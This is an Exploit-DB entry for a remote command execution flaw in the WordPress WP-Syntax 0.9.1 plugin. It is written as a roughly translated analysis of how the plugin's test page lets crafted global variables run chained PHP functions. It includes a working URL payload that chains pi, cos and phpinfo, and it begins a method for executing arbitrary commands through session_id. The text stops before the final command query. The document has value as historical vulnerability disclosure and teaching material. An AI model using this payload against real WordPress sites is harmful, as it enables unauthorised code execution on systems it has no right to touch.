Exploit-DB #9431
Description: WordPress Plugin WP-Syntax 0.9.1 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-08-27
Author: Raz0r

Exploit:
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Wordpress Plugin WP-Syntax <= 0.9.1 Remote Command Execution
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0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
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#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com


WP-Syntax - This is the most popular plugin for wordpress to highlight
the code. It is used on many sites, such as Stefan Esser uses it on his
blog. For me this plugin is of interest, as found in his blog quite a
large farm-partnerki. Following an analysis of source code, I found
quite unusual vulnerability, therefore, decided to create a separate
topic. Probably somebody have comments or thoughts about a more elegant
solution.


WP-Syntax uses the library GeSHi, which implements all the functionality
to review the syntax and appropriate for each language html-code. Having
reviewed the main script plugin wp-syntax.php, I moved to the folder
test, where the 2 scripts: index.php and code.php. Code.php contains
code examples for different languages, and leads them to the index.php
illumination to demonstrate the capacity of the plug-in. Index.php
inkludit wp-syntax.php, which in turn connects geshi.php. According to
the developer wp-syntax.php can be called only in the context of WP,
while the test / index.php can be run independently of the platform, the
author decided to use samopalnoe WP likeness of a mechanism to implement
the callback-function. Who is familiar with the internal device, WP, or
at least see part of the code can understand what I am talking about
functions add_action (), do_action (), apply_filters (), etc.


	
Self-f-tion apply_filters as follows:

PHP code:

 function apply_filters($tag, $string) 
{ 
    global $test_filter; 

    if (!isset($test_filter[$tag])) return $string; 

    uksort($test_filter[$tag], "strnatcasecmp"); 

    foreach ($test_filter[$tag] as $priority => $functions) 
    { 
        if (is_null($functions)) continue; 

        foreach($functions as $function) 
        { 
            $string = call_user_func_array($function, array($string)); 
        } 
    } 
    return $string; 
} 


Global array test_filter there has not previously initialized, so you
can add to the random elements, with register_globals = on and then
execute any function using call_user_func_array. In WP there is a
special t-tion - unregister_globals, protects against these
vulnerabilities, but another case - the script works outside the context
of WP.

apply_filters called in several places, one of them:

<html> 
<head> 
<title>WP-Syntax Test Page</title> 
<link rel="stylesheet" href="../wp-syntax.css" type="text/css" media="screen" /> 
<?php 
test_head(); 

/* ... */ 

function test_head() 
{ 
  echo apply_filters("wp_head", ""); 
} 
?> 


As we can see the complexity of the case is that you can not function
with arbitrary arguments - will be transferred to an empty argument of
type string. At first glance it seemed to me that even banal phpinfo ()
will not be able to perform because it only takes an argument of type
integer, or there is an error of level E_WARNING. However vniknuv the
logic of the F-apply_filters is clear that the argument for change
call_user_func_array () can be, because it runs in a loop and assigns
the result of his argument for the next callback-function. In other
words by means of a chain composed of functions could be to receive and
transmit the -1 value in phpinfo (-1 = INFO_ALL). Then I started
remembering all the functions of PHP, which could help me in this
situation. As it turned out many of the functions do not take arguments,
causing the error, if they give a blank value. Nevertheless, I need the
sequence of function calls was found:


http://localhost/wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=pi&test_filter[wp_head][99][1]=cos&test_filter[wp_head][99][2]=phpinfo


First call the function pi (), returns the value of pi. Oddly, this
feature, despite the lack of arguments, it is an error "Wrong parameter
count for". Then comes the call to the function cos (), which is passed
the value of pi. As you know, cos (pi) = -1, so in the phpinfo ()
reaches the desired value and output data.

It seemed no longer to achieve, but I continue to seek ways to perform
arbitrary commands. It was necessary to find a function that returns
would be needed for my data. These data could be obtained from the
environment, but do not reach appropriate functions. However, the way
all the same was found =)


PHP code:

<?php 
session_start(""); 
echo session_id(); 
echo session_id(""); 
echo session_id(); 
?>


It was found that the session_id returns last ID, despite the fact that
the function was transferred to the parameter. I do not know this bug or
not, but at the docks on that occasion said nothing. As a result, the
final query looks as follows:
F-tion session_id () can return a value as the current session ID